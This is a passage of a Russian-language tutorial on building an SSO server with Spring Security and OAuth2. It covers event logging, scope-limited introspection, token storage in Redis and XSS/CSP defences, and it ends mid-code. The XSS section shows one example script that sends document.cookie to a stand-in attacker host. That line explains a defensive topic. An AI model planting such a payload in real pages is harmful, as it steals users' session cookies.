Вступление

Всем привет, мы продолжаем строить собственный SSO Server. Но в начале давайте вспомним, что мы сделали в предыдущей статье:

  • Уделили время frontend приложению

  • Настроили механизм регистрации

  • Реализовали функцию "Забыли пароль"

Можно сказать в предыдущей статье мы реализовали всё, что касается входа и регистрации. Текущая статья будет слегка отличаться от остальных. Для данной статьи я уже реализовал полноценное приложение со всеми необходимыми функциями (управление пользовательскими токенами, создание и настройка OAuth2 клиентов, администрирование SSO и т.д.). Посмотреть его вы можете в репозитории.

В этой статье мы детально разберём следующие пункты:

  • Интересные технические решения, которые появились в проекте

  • Защита от CSRF и XSS атак, а также другие Security Headers

  • Добавление собственного grant type

Итак, давайте приступим!

Раздел 5.1: Интересные технические решения

Прежде всего, стоит сказать, что мы в очередной раз повысили версии:

  • spring-boot-starter-parent повысили до версии 3.2.5

  • spring-security-oauth2-authorization-server повысили до версии 1.2.4

В связи с чем, мы ушли от использования метода .apply() при настройке HttpSecurity в классе SecurityConfig и заменили его на рекомендованный метод .with(). Других изменений в связи с повышением версий не было.

Также, думаю стоит рассказать, что нового добавилось в проекте:

  • Настройка аккаунта пользователя (изменение, загрузка аватарки, удаление аккаунта, смена пароля).

  • Логирование событий аутентификации пользователя и соответствующая форма для их просмотра.

  • Список выданных токенов пользователя и соответствующая форма для просмотра и отзыва токена.

  • Появилось понятие пользователь-администратор и суперпользователь. Также была добавлена новая роль ADMIN_USER и новые привилегии для функций администратора SSO.

  • Форма создания/изменения/удаления OAuth2 клиентов. Теперь их может регистрировать администратор SSO.

  • Форма управления администраторами SSO.

Все формы достаточно простые, поэтому отдельно на них останавливаться не будем, вы их можете разобрать самостоятельно в репозитории приложения

Основные формы приложения
Основные формы приложения

Далее мы разберём самые интересные решения при реализации вышеописанных форм.

Как отловить событие аутентификации пользователя?

Логично, что ответом на этот вопрос будет - "используйте SuccessAuthenticationHandler". До этого у нас был только CustomAuthenticationSuccessHandler, в котором мы указывали специальный заголовок для frontend приложения. Если забыли, зачем это делалось, вы можете обратиться к предыдущей статье (Создание собственной формы логина). В ней мы подробно это разбирали. Теперь мы улучшили его и добавили сохранение события аутентификации пользователя.

CustomAuthenticationSuccessHandler.java

public class CustomAuthenticationSuccessHandler implements AuthenticationSuccessHandler {
    @Override
    public void onAuthenticationSuccess(
            HttpServletRequest request,
            HttpServletResponse response,
            Authentication authentication
    ) {
        SavedRequest savedRequest = this.requestCache.getRequest(request, response);
        if (savedRequest == null) {
            response.setHeader(headerName, locationUrl);
        } else {
            this.requestCache.removeRequest(request, response);
            this.clearAuthenticationAttributes(request);
            String targetUrl = savedRequest.getRedirectUrl();

            // Таким образом понимаем когда использовать сохранённый запрос из requestCache, а когда
            // указать переход на главную форму SSO
            if (targetUrl.startsWith(savedRequestUrlStartsWith)) {
                response.setHeader(headerName, targetUrl);
            } else {
                response.setHeader(headerName, locationUrl);
            }
        }

        String clientId = HandlerUtils.getClientId(savedRequest);
        // сохраняем событие
        eventService.createEvent(UserEventType.USER_LOGIN, clientId, request);
    }
}

В самом процессе сохранения события нет ничего замысловатого. Одним из моих требований было, чтобы в событии было указано, для какого приложения пользователь проходил аутентификацию. Как узнать это? Всё просто. Это clientId (уникальный идентификатор OAuth2 клиента), с которым стороннее приложение делает запрос на endpoint /oauth2/authorize. В свою очередь этот запрос сохраняется до момента успешной аутентификации, т.е. мы можем его получить из requestCache. clientId мы можем получить из параметров этого запроса. Если такого нет, значит, это не было авторизацией клиента, а пользователь просто проходил аутентификацию, чтобы попасть на формы SSO.

HandlerUtils.java


@UtilityClass
public class HandlerUtils {

    /**
     * Получение clientId из сохранённого запроса.
     */
    public String getClientId(SavedRequest savedRequest) {
        if (savedRequest != null) {
            if (savedRequest.getParameterMap().containsKey("client_id")) {
                String[] clientIdValues = savedRequest.getParameterValues("client_id");
                if (clientIdValues.length > 0) {
                    return clientIdValues[0];
                }
            }
        }
        return null;
    }
}

Мы добавили класс CustomOauthAuthenticationSuccessHandler, который используется, как обработчик при аутентификации через сторонний сервис (Yandex, Google, Github). В нём мы аналогичным образом сохраняем событие аутентификации пользователя.

Новые scope и как ограничили информацию о пользователе на их основе

В предыдущих статьях мы не сильно уделяли внимание параметру scope. Мы указывали какие-то не совсем понятные значения (read.scope, write.scope) и постоянно обходили его стороной. Давайте вспомним, что такое вообще scope. Согласно документации по OAuth2 - это механизм, который позволяет ограничивать информацию о пользователе. Приложениям (клиентам OAuth2) выдаётся определённый набор scope, благодаря которым они могут получить разную информацию о пользователе (email, аватарку, ФИО и т.д.).

Теперь давайте вспомним, а как у нас поставляется информация о пользователе приложениям. Согласно предыдущим статьям мы отдаём её при ответе в endpoint-е introspection (/oauth2/token-info). До этого мы никак не ограничивали эту информацию, и любое приложение могло получить всю информацию о пользователе. Теперь мы выставим ограничения с использованием scope. Для этого мы создали следующие ограничения:

Scope

Значение

SSO.USER_IDENTIFICATION

Идентификационная информация о пользователе (email, ID)

SSO.USER_PROFILE_INFO

Общая информация о пользователе (ФИО, дата рождения)

SSO.USER_AVATAR

Аватар пользователя

SSO.USER_AUTHORITIES

Привилегии пользователя

Далее мы усовершенствовали построение introspection ответа. Для этого создали отдельный сервис IntrospectionService и в нём на основе доступных scope в OAuth2TokenIntrospection строим информацию о пользователе.

IntrospectionService.java
public class IntrospectionService {

    public final static String principalAttributeKey = "java.security.Principal";

    private final OAuth2AuthorizationService oAuth2AuthorizationService;
    private final MappingJackson2HttpMessageConverter mappingJackson2HttpMessageConverter;

    public void introspectionResponse(
            HttpServletRequest request,
            HttpServletResponse response,
            Authentication authentication
    ) throws IOException {
        var introspectionAuthenticationToken = (OAuth2TokenIntrospectionAuthenticationToken) authentication;
        TokenInfoDto.TokenInfoDtoBuilder tokenInfoDtoBuilder = TokenInfoDto.builder().active(false);
        if (introspectionAuthenticationToken.getTokenClaims().isActive()) {
            OAuth2TokenIntrospection claims = introspectionAuthenticationToken.getTokenClaims();
            tokenInfoDtoBuilder.active(true)
                    .sub(claims.getSubject())
                    .aud(claims.getAudience())
                    .nbf(claims.getNotBefore())
                    .scopes(claims.getScopes())
                    .iss(claims.getIssuer())
                    .exp(claims.getExpiresAt())
                    .iat(claims.getIssuedAt())
                    .jti(claims.getId())
                    .clientId(claims.getClientId())
                    .tokenType(claims.getTokenType());

            // Обогащаем ответ данными о пользователе.
            // При вызове метода передаём также список доступных scope
            this.upgradeDtoByPrincipal(
                    claims.getScopes(),
                    introspectionAuthenticationToken.getToken(),
                    tokenInfoDtoBuilder
            );
        }

        // ......
    }

    private void upgradeDtoByPrincipal(
            List<String> clientScopes,
            String accessTokenValue,
            TokenInfoDto.TokenInfoDtoBuilder tokenInfoDtoBuilder
    ) {

        // Если список scope пуст, то никакой информации о пользователе не выводим
        if (clientScopes != null && !clientScopes.isEmpty()) {
            AuthorizedUser authorizedUser = this.extractAuthorizedUserByAccessToken(accessTokenValue);
            IntrospectionPrincipal introspectionPrincipal = this.buildIntrospectionPrincipal(
                    authorizedUser,
                    clientScopes
            );
            tokenInfoDtoBuilder.principal(introspectionPrincipal);
        }
    }

    // В этом методе и происходит вся магия. На основе доступных scope заполняем IntrospectionPrincipal.
    private IntrospectionPrincipal buildIntrospectionPrincipal(
            AuthorizedUser authorizedUser,
            List<String> clientScopes
    ) {
        if (authorizedUser == null) {
            return null;
        }

        var builder = IntrospectionPrincipal.builder();
        if (clientScopes.contains(SSOScope.USER_AUTHORITIES.getDatabaseCode())) {
            List<String> authorities = Collections.emptyList();
            if (authorizedUser.getAuthorities() != null) {
                authorities = authorizedUser.getAuthorities()
                        .stream()
                        .map(GrantedAuthority::getAuthority)
                        .collect(Collectors.toList());
            }
            builder.authorities(authorities);
        }

        if (clientScopes.contains(SSOScope.USER_IDENTIFICATION.getDatabaseCode())) {
            builder.id(authorizedUser.getId())
                    .email(authorizedUser.getEmail());
        }

        if (clientScopes.contains(SSOScope.USER_PROFILE_INFO.getDatabaseCode())) {
            builder.firstName(authorizedUser.getFirstName())
                    .lastName(authorizedUser.getLastName())
                    .middleName(authorizedUser.getMiddleName())
                    .birthday(authorizedUser.getBirthday());
        }

        return builder.build();
    }

    // ......
}

Как вы возможно заметили, была убрана информацию об аватарке пользователя вообще из ответа. Смысла возвращать некий идентификатор файла нет, если нет endpoint-а получения по этому идентификатору самого файла. А как оказалось, у нас нет его, и нужно его создать. Вторая причина - аватарку пользователя можно и по идентификатору пользователя получить.

Для того чтобы создать endpoint получения аватарки, нам сперва необходимо ввести третью составляющую Security конфигурации нашего j-sso. Этой третьей составляющей является конфигурация OAuth2 Resource Server, та самая которую мы уже настраивали в сервисе j-service. Вся настройка заключалась в том, чтобы добавить третий бин с типом SecurityFilterChain и настроить в нём DSL метод конфигурации Security - oauth2ResourceServer(). Также не забыть добавить дополнительные настройки в application.yml.

ResourceServerSecurityConfig.java


@RequiredArgsConstructor
@Configuration(proxyBeanMethods = false)
public class ResourceServerSecurityConfig {

    private final static String[] RESOURCE_SERVER_PATTERNS = new String[]{
            "/resource/**"
    };

    private final OAuth2ResourceOpaqueProperties resourceProperties;
    private final MappingJackson2HttpMessageConverter messageConverter;

    @Bean
    @Order(Ordered.HIGHEST_PRECEDENCE)
    public SecurityFilterChain resourceServerSecurityFilterChain(HttpSecurity http) throws Exception {
        http.securityMatcher(RESOURCE_SERVER_PATTERNS)
                .sessionManagement(configurer -> configurer.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
                .authorizeHttpRequests(authorize -> authorize
                        .anyRequest().authenticated()
                )
                .csrf(AbstractHttpConfigurer::disable)
                .exceptionHandling(exceptions -> exceptions.authenticationEntryPoint(
                        new HttpStatusEntryPoint(HttpStatus.UNAUTHORIZED)
                ));

        // Таким образом разрешаем передачу access token в параметрах HTTP запроса
        DefaultBearerTokenResolver tokenResolver = new DefaultBearerTokenResolver();
        tokenResolver.setAllowUriQueryParameter(true);

        http.oauth2ResourceServer(configurer -> {
            configurer.bearerTokenResolver(tokenResolver);

            configurer.opaqueToken(customizer -> {
                customizer.introspector(new CustomSpringTokenIntrospection(
                        resourceProperties.getIntrospectionUri(),
                        resourceProperties.getClientId(),
                        resourceProperties.getClientSecret(),
                        messageConverter
                ));
            });
        });
        return http.build();
    }
}

Как вы можете видеть, данная конфигурация применятся только на endpoint-ы соответствующие шаблону /resource/**. Данное поведение достигается благодаря указанию этого шаблона в securityMatcher: http.securityMatcher(RESOURCE_SERVER_PATTERNS). Если вы заглянете в класс AuthorizationServerConfig, вы можете там наблюдать аналогичную настройку.

Далее был определён endpoint получения аватарки как показано ниже:

ResourceServerController.java


@RestController
@RequiredArgsConstructor
@RequestMapping("/resource")
@Tag(name = "Контроллер ресурс сервера SSO")
public class ResourceServerController {

    private final ResourceServerService resourceServerService;

    @GetMapping(value = "/user/{userId}/avatar")
    @PreAuthorize("hasAuthority('SCOPE_SSO.USER_AVATAR')")
    @Operation(description = "Получение аватарки пользователя")
    public ResponseEntity<byte[]> downloadUserAvatar(@PathVariable UUID userId) {
        return resourceServerService.getUserAvatar(userId);
    }
}

Заметьте, что в аннотации @PreAuthorize указана проверка authority: hasAuthority('SCOPE_SSO.USER_AVATAR'). Но при этом указана очень странная привилегия. Всё на самом деле просто, это не привилегия, а scope который был выдан клиенту. Но к нему был добавлен префикс SCOPE_. Данное значение на самом деле содержится в списке привилегий principal объекта. Это вы можете наблюдать в классе CustomOAuth2AuthenticatedPrincipal.

CustomOAuth2AuthenticatedPrincipal.java
public class CustomOAuth2AuthenticatedPrincipal extends TokenInfoOAuth2ClaimAccessor
        implements OAuth2AuthenticatedPrincipal, Serializable {

    private static final String AUTHORITY_PREFIX = "SCOPE_";

    private final AuthorizedUser delegate;
    private final TokenInfoDto tokenInfo;

    // .....

    public Collection<? extends GrantedAuthority> getAuthorities() {
        List<GrantedAuthority> authorities = new ArrayList<>();
        if (this.delegate != null) {
            authorities.addAll(delegate.getAuthorities());
        }
        if (this.tokenInfo != null && this.tokenInfo.getScopes() != null) {
            authorities.addAll(
                    this.tokenInfo.getScopes()
                            .stream()
                            .map(item -> new SimpleGrantedAuthority(AUTHORITY_PREFIX + item))
                            .toList()
            );
        }
        return authorities;
    }

    // .....

}

Сделано это из-за того, что разработчики Spring Security в шестой версии упростили выражения SpEL и удалили класс OAuth2MethodSecurityExpressionHandler. Данный класс предоставлял нам специальный параметр oauth2 в выражениях SpEL, и мы могли легко указывать ограничения на scope примерно так: "#oauth2.hasScope('scope')". Теперь же нам предлагают использовать hasAuthority('SCOPE_scope') вместо предыдущего выражения. Данную информацию можно найти здесь.

Таким образом, наш j-sso стал сочетать в себе три сервиса в одном:

  1. Авторизационный сервис OAuth2.

  2. Ресурс сервис OAuth2. Предназначается для получения информации о пользователе (пока только аватарка).

  3. Сервис администрирования SSO и управления данными пользователя.

Тестовый клиент (test-client) был обновлён. Запустив его, вы можете посмотреть, как это работает.

Авторизация через j-sso в test-client
Авторизация через j-sso в test-client
Запрос получения аватарки
Запрос получения аватарки

Как мы обновляли Security Context при изменении информации о пользователе

При обновлении информации о пользователе передо мной встала задача обновления информации в контексте Security. На самом деле решение очевидное, просто пересоздаём объект Authentication и устанавливаем его в контекст при помощи метода SecurityContextHolder.getContext().setAuthentication(). Но стоит учесть, что простая установка поможет только в рамках текущего запроса. Информация Security у нас хранится в рамках HTTP сессии, которая в свою очередь хранится в Redis. Мы это указывали при настройке spring session. Ниже приведён фрагмент application.yml, где мы это настраиваем.

application.yml

spring:
    session:
        timeout: 1800                 # Время жизни сессии (в секундах)
        redis:
            flush-mode: on_save         # Указываем, когда изменения сеанса записываются в хранилище (immediate или on_save)
            namespace: j-sso:session    # Пространство имен для ключей, используемых для хранения сессий.
            save-mode: on_set_attribute # Определяет, в какой момент происходит сохранение изменений сессии (on_set_attribute, on_get_attribute, always)

Для того чтобы понять, как сохранить изменённый SecurityContext, стоит заглянуть в реализацию SecurityContextPersistenceFilter и увидеть, что он использует для этого SecurityContextRepository. А если посмотреть в реализацию SecurityContextConfigurer, то можно увидеть, как создаётся данный фильтр, и какая реализация используется по умолчанию в качестве securityContextConfigurer. Изображение ниже демонстрирует это:

SecurityContextConfigurer
SecurityContextConfigurer

Но всю ту же самую информацию, также можно найти и в документации по Spring Security на этой странице.

Итак, чтобы нам реализовать сохранение, нам нужно вызвать метод securityContextRepository.saveContext(securityContext, request, response);. Но по умолчанию нет подготовленного бина с типом SecurityContextRepository, поэтому нам необходимо создать его, установить в конфигурации Spring Security и использовать при обновлении контекста. Нас полностью устраивает repository, используемый по умолчанию, поэтому сделаем бин аналогичным.

SecurityConfigUtilities.java

public class SecurityConfigUtilities {

    // .......

    @Bean
    public SecurityContextRepository securityContextRepository() {
        return new DelegatingSecurityContextRepository(
                new RequestAttributeSecurityContextRepository(),
                new HttpSessionSecurityContextRepository()
        );
    }

}

Далее установим его при конфигурировании Spring Security.

SecurityConfig.java

public class SecurityConfig {

    private final SecurityContextRepository securityContextRepository;

    @Bean
    public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {

        // ...

        http.securityContext(customizer -> customizer.securityContextRepository(securityContextRepository));

        //....
    }
}

И после этого можно смело его использовать при обновлении контекста Security.

SecurityService.java


@Service
@RequiredArgsConstructor
public class SecurityService {

    private final SecurityContextRepository securityContextRepository;

    /**
     * Обновление информации о пользователе в Security Context на основе подготовленной DTO.
     */
    public void reloadSecurityContext(AuthorizedUser authorizedUser, HttpServletRequest request, HttpServletResponse response) {
        SecurityContext securityContext = this.reloadAuthenticationWithNewPrincipal(authorizedUser);
        securityContextRepository.saveContext(securityContext, request, response);
    }

    /**
     * Обновление объекта Authentication в Security Context, используя новую информацию о пользователе из указанной DTO.
     */
    private SecurityContext reloadAuthenticationWithNewPrincipal(AuthorizedUser principal) {
        Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
        if (authentication == null) {
            throw new UnsupportedOperationException("Authentication object is null");
        }

        if (authentication instanceof UsernamePasswordAuthenticationToken auth) {
            Authentication newAuth = new UsernamePasswordAuthenticationToken(
                    principal,
                    auth.getCredentials(),
                    auth.getAuthorities()
            );
            SecurityContext securityContext = SecurityContextHolder.getContext();
            securityContext.setAuthentication(newAuth);
            return securityContext;
        }
        if (authentication instanceof OAuth2AuthenticationToken auth) {
            Authentication newAuth = new OAuth2AuthenticationToken(
                    principal,
                    auth.getAuthorities(),
                    auth.getAuthorizedClientRegistrationId()
            );
            SecurityContext securityContext = SecurityContextHolder.getContext();
            securityContext.setAuthentication(newAuth);
            return securityContext;
        }
        throw new UnsupportedOperationException("Authentication type " + authentication.getClass() + " is not supported");
    }
}

Как по мне, ради такой вроде бы не сложной функции, слишком много телодвижений. Также не нравится, что необходимо в метод тащить HttpServletRequest и HttpServletResponse, Поэтому я покапался в исходниках и нашёл более простой подход к обновлению контекста в рамках моей задачи. Смысл его заключается в том, чтобы использовать SessionRepository вместо SecurityContextRepository и напрямую в сессии обновить SecurityContext. Код такого SecurityService показан ниже:

SecurityServiceWithSessionRepository.java

@Service
@RequiredArgsConstructor
@SuppressWarnings({"unchecked", "rawtypes"})
public class SecurityServiceWithSessionRepository {

    private final SessionRepository sessionRepository;

    private final static String SECURITY_CONTEXT_ATTR = "SPRING_SECURITY_CONTEXT";

    /**
     * Обновление информации о пользователе в Security Context на основе подготовленной DTO.
     */
    public void reloadSecurityContext(AuthorizedUser authorizedUser) {
        String sessionId = RequestContextHolder.currentRequestAttributes().getSessionId();
        this.reloadAuthenticationWithNewPrincipal(authorizedUser);

        Session session = sessionRepository.findById(sessionId);
        session.setAttribute(SECURITY_CONTEXT_ATTR, SecurityContextHolder.getContext());
        sessionRepository.save(session);
    }

    /**
     * Обновление объекта Authentication в Security Context, используя новую информацию о пользователе из указанной DTO.
     */
    private void reloadAuthenticationWithNewPrincipal(AuthorizedUser principal) {
        Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
        if (authentication == null) {
            throw new UnsupportedOperationException("Authentication object is null");
        }

        if (authentication instanceof UsernamePasswordAuthenticationToken auth) {
            Authentication newAuth = new UsernamePasswordAuthenticationToken(
                    principal,
                    auth.getCredentials(),
                    auth.getAuthorities()
            );
            SecurityContextHolder.getContext().setAuthentication(newAuth);
            return;
        }
        if (authentication instanceof OAuth2AuthenticationToken auth) {
            Authentication newAuth = new OAuth2AuthenticationToken(
                    principal,
                    auth.getAuthorities(),
                    auth.getAuthorizedClientRegistrationId()
            );
            SecurityContextHolder.getContext().setAuthentication(newAuth);
            return;
        }
        throw new UnsupportedOperationException("Authentication type " + authentication.getClass() + " is not supported");
    }
}

Стоит отметить, что всё же правильней использовать SecurityContextRepository, и документация Spring Security об этом говорит (смотри конец этой страницы). При использовании второго подхода вы можете упустить важные операции механизма сохранения контекста в SecurityContextRepository, которые могут быть добавлены в будущих версиях. Поэтому, знать про возможность сохранения контекста напрямую через sessionRepository будет полезно, но использовать этот подход стоит с особой осторожностью.

Как получить информацию обо всех токенах пользователя?

В рамках доработок была реализована форма просмотра токенов пользователя, а также возможность отзыва токена.

Отзыв токена
Отзыв токена

Для реализации этой формы был доработан RedisOAuth2AuthorizationService, который мы строили в предыдущей статье (Раздел 3.1: Добавляем Redis). Напомню, данный класс реализует интерфейс OAuth2AuthorizationService и выполняет роль хранилища информации об OAuth2 авторизации.

Раз этот класс и так выполняет роль хранилища необходимой нам информации, нам остаётся добавить дополнительные методы поиска информации, относящейся к конкретному пользователю. Это и было реализовано в рамках данной статьи.

Вначале стоит определиться какая информация нам нужна:

  1. Для кого предназначался токен (clientId)

  2. Когда был выдан токен

  3. Когда последний раз токен был обновлён

  4. Какие Scope были выданы

  5. Информация о самом пользователе (логин, идентификатор пользователя)

  6. Необходимая информация для управления токеном (удаление)

Так как было не удобно для поиска использовать OAuth2Authorization, то потребовалось построить новый объект, в котором отражена вся необходимая информация. Ниже представлен класс, описывающий всю необходимую нам информацию.

AuthorizationInfo.java


@Getter
@Setter
@Builder
@NoArgsConstructor
@AllArgsConstructor
public class AuthorizationInfo implements Serializable {

    private LocalDateTime startDate;
    private LocalDateTime lastRefreshDate;
    private String clientId;
    private Set<String> scopes;
    private AuthorizationGrantType authorizationGrantType;
    private String authorizationId;
    private UUID userId;
    private String username;
    private String redirectUri;

}

Нам необходимо определиться, как будет храниться этот объект в Redis. Будем отталкиваться от механизма поиска. Мы будем искать объекты AuthorizationInfo в рамках конкретного пользователя, поэтому ключом может быть userId или username. И под этим ключом должны быть один или несколько объектов AuthorizationInfo. При отзыве нам необходимо будет удалять конкретный объект, связанный с удаляемым токеном. Обеспечить userId или username для этого тоже возможно, а для определения какой конкретно объект удалять нам поможет authorizationId (идентификатор из OAuth2Authorization). При удалении OAuth2Authorization по истечению срока жизни нам нужно удалить и соответствующий AuthorizationInfo. Но тут справится сам Redis. При сохранении AuthorizationInfo мы укажем тот же параметр TTL, что и у соответствующего объекта OAuth2Authorization.

Исходя из вышесказанного, для хранения AuthorizationInfo мы можем смело использовать ValueOperations<String, AuthorizationInfo>, где ключом будет строка состоявшая из ID пользователя и authorizationId. Обновлённый класс RedisOAuth2AuthorizationService смотрите в репозитории.

Если вы внимательно изучили RedisOAuth2AuthorizationService, то у вас может возникнуть вопрос: А что за onSaveHandler и onRemoveHandler? Данные callback методы были добавлены специально, чтобы реализовать сохранение связи пользователя и clientId. Вы можете это увидеть в классе SecurityConfigUtilities.

SecurityConfigUtilities.java


@RequiredArgsConstructor
@Configuration(proxyBeanMethods = false)
public class SecurityConfigUtilities {

    private final AuthorizationServerProperties authorizationServerProperties;
    private final UserClientService userClientService;

    // .....

    public OAuth2AuthorizationService oAuth2AuthorizationService(
            RedisTemplate<String, OAuth2Authorization> redisTemplate,
            RedisTemplate<String, AuthorizationInfo> redisTemplateAuthInfo
    ) {
        return new RedisOAuth2AuthorizationService(
                redisTemplate,
                redisTemplateAuthInfo,
                (authInfo) -> userClientService.save(authInfo.getUserId(), authInfo.getClientId()),
                (authorization) -> {
                },
                authorizationServerProperties.getAuthorizationTtl()
        );
    }

    // .....
}

Связь пользователя и clientId необходима, чтобы выяснить, для каких приложений пользователь проходил аутентификацию. Стоит упомянуть, что в стандартную конфигурацию OAuth2 клиентов я добавил поле delete_notify_uris. Это список URL клиента, на который необходимо послать запрос при удалении аккаунта пользователя из SSO. Для того чтобы выяснить каким OAuth2 клиентам послать запрос, нужна связь userId и clientId. Именно поэтому при создании экземпляра RedisOAuth2AuthorizationService мы не добавляем удаление этой связи, так как она должна существовать постоянно, пока не будет удалён аккаунт пользователя.

Остальные механизмы

Разделили application.yml

Реализуя новые функции, файл application.yml сильно разросся. И искать по нему нужное свойство стало затруднительно. Потому я решил разбить данный файл на несколько файлов:

  • application.yml - предназначен для основной конфигурации

  • application-data.yml - хранит в себе конфигурации подключения к базам данных

  • application-security.yml - содержит в себе всю необходимую конфигурацию безопасности

Данное разделение стало возможным благодаря использованию свойства spring.config.import, как показано во фрагменте ниже:

application.yml

spring:
    application:
        name: j-sso
    config:
        import:
            - application-data.yml
            - application-security.yml

Выполнение запланированных задач

Также обратите внимание, что в приложении добавились две запланированные задачи

SchedulerConfig.java


@Configuration
@EnableScheduling
@RequiredArgsConstructor
public class SchedulerConfig {

    private final UserEventService userEventService;
    private final OAuth2ClientService oAuth2ClientService;

    @Bean
    public LockProvider lockProvider(RedisConnectionFactory connectionFactory) {
        return new RedisLockProvider(connectionFactory);
    }

    /**
     * Задача удаления устаревших событий безопасности пользователей.
     */
    @Scheduled(cron = "${scheduled-tasks.delete-old-events.cron}")
    @SchedulerLock(name = "deleteOldEvents_lock", lockAtMostFor = "5m", lockAtLeastFor = "5m")
    public void deleteOldEvents() {
        userEventService.deleteOldEvents();
    }

    /**
     * Задача уведомлений OAuth2 клиентов об удалении аккаунтов пользователей.
     */
    @Scheduled(cron = "${scheduled-tasks.notify-delete-users.cron}")
    @SchedulerLock(name = "deleteUsersNotifier_lock", lockAtMostFor = "5s", lockAtLeastFor = "5s")
    public void notifyClientsAboutDeleteUser() {
        oAuth2ClientService.notifyClientsAndClear();
    }
}

Первое, я использовал зависимость net.javacrumbs.shedlock:shedlock-provider-redis-spring для реализации блокировки выполнения одной и той же задачи на разных экземплярах приложений (вспомните, что в этой статье мы обсуждали запуск приложения в нескольких экземплярах). Более подробную информацию о данной библиотеке вы можете получить здесь.

Второе, так как разные задачи теоретически могут быть выполнены в одно и то же время, то стоить обеспечить их выполнение в разных потоках. По умолчанию Spring будет выполнять данные задачи в одном потоке, что может повлиять на их время выполнения. Допустим, если произойдёт какая нибудь ошибка в первой задаче, и она зависнет, то вторая так и не выполнится, пока первая не завершится. Для этого мы можем настроить пул потоков для запланированных задач. Это можно сделать настроив бин TaskScheduler или просто указав специальные свойства в application.yml.

application.yml

spring:
    task:
        scheduling:
            pool:
                size: 2

Файловое хранилище

В приложении было реализовано файловое хранилище. Оно основано на обычной файловой системе. За реализацию отвечает интерфейс FileStore и класс его реализующий LocalFileStore. Их реализацию вы можете посмотреть в github репозитории.

Для указания директории, где будут сохраняться файлы, отвечает свойство file-store.base-path в application.yml.

application.yml

file-store:
    base-path: ~/j-sso-file-store

Исходники данного раздела смотрите здесь.

Раздел 5.2: Защита от CSRF и XSS атак и другие Security Headers

Тема уязвимостей WEB приложения на сегодняшний день актуальна как никогда. Поэтому, мы должны всегда задумываться о защите своего приложения, как минимум от самых известных атак. Такими как раз являются CSRF и XSS атаки.

XSS

XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы), и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода».

Простыми словами, XSS атака подразумевает возможность выполнения вредоносного кода, помещённого через незащищённые поля ввода на форме. То есть, чтобы получить незащищённые куки пользователя, атакуемый может внедрить и сохранить в поле для ввода такую строку, как представлена ниже. При загрузке страницы данный код будет выполнен, и злоумышленник получит куки пользователя.


<script> document.location = "http://attackerhost.ru/get-cookie?" + document.cookie </script>

Помимо обычной кражи cookie файлов, вариантов использования такой уязвимости очень много, и они могут нанести существенный вред вашему сервису, поэтому необходимо следовать этим пунктам:

  1. Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере.

  2. Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project.

  3. Указание кодировки на web-странице. (<meta charset="utf-8">)

  4. Обеспечение безопасности cookies (ограничение домена и пути для принимаемых cookies, установка параметра HttpOnly, использование SSL)

  5. Настройка заголовка Content Security Policy.

  6. Настройка заголовка X-Frame-Options

Защита от XSS

Практически все современные frontend фреймворки обеспечивают кодирование данных при их отображении (sanitizing). Vue тоже это делает, но не везде. Например, при использовании директивы v-html, необходимо самостоятельно позаботиться о чистоте данных. Стоит соблюдать ряд правил, которые вы можете изучить на странице документации.

Первый пункт, можно сказать, автоматически закрыт. Для второго пункта мы можем создать на backend-е специальный фильтр, который будет кодировать содержимое параметров запросов и тела прежде чем передать данные на метод контроллера.

Второй пункт подразумевает кодирование спец. символов в параметрах и теле запроса. Например, таким образом:

Символ

Код

<

&lt;

>

&gt;

Для этих целей есть специальная библиотека OWASP Encoding Project. Чтобы не писать кучу кода по кодированию каждого поля DTO в каждом endpoint-е, мы воспользуемся классом Jackson2ObjectMapperBuilderCustomizer и создадим соответствующий бин.

SecurityConfig.java


@Bean
public Jackson2ObjectMapperBuilderCustomizer objectMapperBuilder() {
    return builder -> builder.deserializerByType(String.class, new JsonDeserializer<String>() {
        @Override
        public String deserialize(JsonParser p, DeserializationContext ctxt)
                throws IOException {
            String origin = p.getValueAsString();
            return Encode.forHtmlContent(origin);
        }
    });
}

Результат работы данного бина представлен ниже:

Кодирование входных данных
Кодирование входных данных

Также, иногда необходимо кодировать параметры и заголовки запроса. В этом вам может помочь HttpServletRequestWrapper. Вы можете создать отдельный фильтр и свой кастомный request wrapper. В фильтре можно обернуть стандартный ServletRequest вашим wrapper-ом, а в самом wrapper-е переопределить методы получения параметров и заголовков. В целях демонстрации такого фильтра я создал классы XSSFilter и XSSRequestWrapper, которые вы можете посмотреть в репозитории проекта.

Стоит сказать про Bean Validation API в Spring. Это неплохой вариант. Очень удобно ограничить принимаемые значения. Читайте про эту возможность здесь

Третий пункт может быть закрыт простым выставлением кодировки в заголовках html страницы. Зачем это нужно? Смысл заключается в том, что злоумышленник может сохранить специальную последовательность символов, и браузер, наткнувшись на неё, будет думать, что станица имеет одну кодировку, когда на самом деле она совершенно другая. При этом вся страница будет выглядеть нечитаемо. Более подробно вы можете почитать про это тут.

Четвёртый пункт автоматически у нас выполнен. Если вы посмотрите на куки нашего j-sso (SESSION), то увидите, что они обладают следующими параметрами: HttpOnly = true; Same Site = Lax. Об этом уже позаботился Spring Security. Но если вы добавляете какие-либо ещё Cookie, вам стоит задуматься об их параметрах.

SESSION cookie
SESSION cookie

Обратите внимание, что мы специально опускаем тему использования SSL. Настроить его, вы сможете уже в продуктивной среде на балансировщике. Так как настройка SSL требует сертификата, мы сейчас это разбирать не будем, но если вам интересно вы можете обратиться к этой статье.

Пятый пункт самый интересный, мы его ещё не настраивали. Заголовок CSP позволяет указывать, каким загружаемым ресурсам можно доверять, а каким нет, тем самым способствуя предотвращению загрузки вредоносного контента (например, js скрипта с сайта злоумышленника). Чтобы настроить данный заголовок, можно просто указать meta тег в заголовках нашей index.html. Например, так: <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';" />.

Но еще можно это сделать и на backend-е. И в этом нам поможет Spring Security. В начале создадим класс SecurityProperties, описывающий все необходимые настройки из application.yml файла. Далее изменим конфигурацию SecurityConfig следующим образом:

SecurityConfig.java


@Configuration(proxyBeanMethods = false)
public class SecurityConfig {

